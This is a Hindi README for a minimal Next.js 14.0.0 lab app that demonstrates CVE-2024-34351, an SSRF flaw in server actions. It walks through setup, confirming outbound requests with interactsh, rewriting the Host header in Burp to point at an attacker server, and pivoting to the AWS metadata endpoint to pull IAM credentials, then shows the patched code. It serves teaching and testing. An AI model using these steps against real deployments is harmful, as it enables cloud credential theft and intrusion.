
CVE-2024-34351 SSRF भेद्यता के लिए न्यूनतम Next.js 14.0.0 डेमो ऐप। इसमें एक्सप्लॉइट सेटअप, interactsh पुष्टिकरण, Burp अवरोधन, और AWS मेटाडेटा एस्केलेशन चरण शामिल हैं।
CVE-2024-34351 प्रदर्शित करने के लिए न्यूनतम Next.js 14.0.0 एप्लिकेशन - Next.js सर्वर एक्शन में एक सर्वर-साइड रिक्वेस्ट फॉरजरी (SSRF) कमजोरी।
Adam Kues और Shubham Shah द्वारा Assetnote पर खोजा गया। Next.js 14.1.1 में ठीक किया गया।
जब कोई सर्वर एक्शन redirect('/some-path') कॉल करता है, तो Next.js इनकमिंग रिक्वेस्ट के Host हेडर का उपयोग करके एक आंतरिक फ़ेच URL बनाता है, बिना सत्यापन के:
// createRedirectRenderResult में कमजोर कोड (Next.js < 14.1.1)
const host = req.headers['host'] // हमलावर-नियंत्रित
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // सर्वर यह रिक्वेस्ट करता है
जो हमलावर Host हेडर को नियंत्रित करता है, वह इस आंतरिक फ़ेच को सर्वर द्वारा पहुंचे जा सकने वाले किसी भी गंतव्य पर इंगित कर सकता है।
npm install
npm run build # प्रोडक्शन बिल्ड का उपयोग करना चाहिए -- डेव मोड रीडायरेक्ट को अलग तरीके से रूट करता है
npm run start # ऐप http://localhost:3000 पर चलता है
interactsh यह पुष्टि करने के लिए उपयोगी है कि Next.js सर्वर हमलावर-नियंत्रित होस्ट पर आउटबाउंड रिक्वेस्ट करता है।
# interactsh-client इंस्टॉल करें
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# एक सत्र शुरू करें -- अपना इंटरेक्शन URL नोट करें, जैसे abc123.oast.fun
interactsh-client
Burp Suite में:
http://localhost:3000 पर जाएं और इंटरसेप्ट ऑन के साथ लॉगिन फॉर्म सबमिट करेंHost: localhost:3000 को Host: abc123.oast.fun में बदलेंयह आउटबाउंड SSRF साबित करता है। रिक्वेस्ट सर्वर प्रक्रिया से आती है, ब्राउज़र से नहीं।
interactsh अपनी प्रतिक्रिया को नियंत्रित नहीं कर सकता, इसलिए Next.js GET तक नहीं पहुंचेगा। पूर्ण प्रतिक्रिया बॉडी प्राप्त करने के लिए, शामिल हमलावर सर्वर का उपयोग करें:
python3 attacker/attacker_server.py 8888
Host हेडर को <your-lan-ip>:8888 पर सेट करें और फॉरवर्ड करें। हमलावर सर्वर HEAD पर Content-Type: text/x-component के साथ प्रतिक्रिया देता है, जो GET को ट्रिगर करता है। पूर्ण प्रतिक्रिया बॉडी Burp में दिखाई देने वाले Next.js प्रतिक्रिया के अंदर लौटाई जाती है।
जब कमजोर ऐप AWS EC2 इंस्टेंस पर चल रहा हो, तो Host हेडर सेट करें:
Host: 169.254.169.254
Next.js इंस्टेंस मेटाडेटा सेवा से फ़ेच करेगा। IAM क्रेडेंशियल प्राप्त करने के लिए:
Host: 169.254.169.254
फिर रीडायरेक्ट पथ समायोजित करें या लक्ष्य के लिए एक अनुवर्ती रिक्वेस्ट का उपयोग करें:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
पूर्ण मेटाडेटा प्रतिक्रिया हमलावर के ब्राउज़र पर लौटा दी जाती है।
// पैच किया गया -- अब हमलावर-नियंत्रित रिक्वेस्ट हेडर से नहीं पढ़ता
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
फिक्स process.env.__NEXT_PRIVATE_ORIGIN को प्राथमिकता देता है -- जो सर्वर स्टार्टअप पर सेट होता है, हमलावर द्वारा नियंत्रित नहीं किया जा सकता।